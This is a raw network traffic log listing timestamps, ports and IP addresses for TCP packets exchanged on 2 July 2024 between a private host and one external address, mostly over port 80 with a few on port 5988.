Jul 2, 2024 22:52:31.410195112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.410195112 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.410195112 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.410257101 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.410263062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.410273075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.410466909 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.410623074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.410634995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.410645962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.410722017 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.410761118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.410772085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.410783052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.410793066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.410803080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.410828114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.410866976 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.410900116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.410911083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.410922050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.410933971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.410943985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.410973072 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.410973072 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.411051035 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.411160946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411170959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411181927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411192894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411201954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411212921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411222935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411232948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411243916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411253929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411508083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411518097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411529064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411540031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411550999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411561012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411565065 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.411566019 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.411571980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411612988 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.411673069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411684036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411751032 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.411771059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411782980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411806107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411815882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411824942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411833048 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.411833048 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.411848068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411858082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411865950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.411869049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.411896944 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.411896944 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.411989927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412000895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412012100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412022114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412121058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412132025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412142038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412170887 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.412170887 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.412209988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412220955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412231922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412244081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412245035 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.412255049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412261963 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.412379026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412427902 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.412483931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412497044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412507057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412518024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412528992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412544012 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.412561893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412574053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412584066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412600994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412615061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412616968 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.412616968 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.412626028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412636042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412647963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412648916 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.412648916 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.412663937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412674904 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.412676096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412686110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.412723064 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.413175106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.483159065 CEST	49713	5988	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.488706112 CEST	5988	49713	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.488809109 CEST	49713	5988	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.488881111 CEST	49713	5988	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.493980885 CEST	5988	49713	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.508814096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.508884907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.508894920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.508939981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.509032011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509042978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509052038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509063005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509092093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509103060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509105921 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.509113073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509121895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509125948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.509131908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509133101 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.509185076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.509185076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.509269953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509279966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509334087 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.509411097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509427071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509443045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509450912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509462118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509471893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509480000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509490967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509495974 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.509500027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509510994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509512901 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.509521008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509530067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509538889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509542942 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.509562016 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.509562016 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.509850025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509859085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509869099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509881973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509891987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509908915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509924889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509928942 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.509933949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509944916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509954929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509963989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509977102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509980917 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.509980917 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.509980917 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.509987116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.509999990 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.510325909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510335922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510344982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510355949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510360956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.510365009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510374069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510382891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510391951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510401964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510413885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.510413885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.510570049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510580063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510586023 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.510590076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510598898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510643959 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.510675907 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.510770082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510780096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510788918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510798931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510807037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510812998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510821104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510829926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510839939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510845900 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.510845900 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.510845900 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.510848999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510859013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510869026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510875940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510885954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510891914 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.510895014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510905027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510915041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510924101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510934114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510934114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.510934114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.510934114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.510942936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.510978937 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.511111975 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.511581898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511591911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511601925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511634111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511636972 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.511642933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511652946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511662006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511671066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511691093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511704922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511706114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.511715889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511718988 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.511718988 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.511722088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511732101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511740923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511751890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511753082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.511754036 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.511759996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511765003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511775017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511784077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511792898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511802912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511809111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.511809111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.511811972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511821985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511821985 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.511831999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511841059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511850119 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511858940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.511867046 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.511867046 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.511917114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.511987925 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.512423038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.512433052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.512442112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.512450933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.512459993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.512470961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.512471914 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.512479067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.512491941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.512494087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.512504101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.512511015 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.512515068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.512554884 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.512609959 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.597702980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.597735882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.597748041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.597757101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.597765923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.597775936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.597783089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.597804070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.597870111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.597879887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.597887039 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.597944975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.597949982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.597954988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.597965956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.597970963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.597979069 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.598120928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598129988 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.598130941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598140955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598150015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598160028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598200083 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.598373890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598385096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598395109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598404884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598414898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598421097 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.598421097 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.598421097 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.598426104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598437071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598444939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598454952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598455906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.598469973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598498106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.598498106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.598659992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598670006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598680973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598689079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598694086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598702908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598712921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598714113 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.598721981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598756075 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.598841906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.598932981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598943949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598953009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598963022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598972082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598980904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598989964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.598999977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.599008083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.599014997 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.599014997 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.599014997 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.599020958 CEST	80	49712	77.221.149.185	192.168.2.5
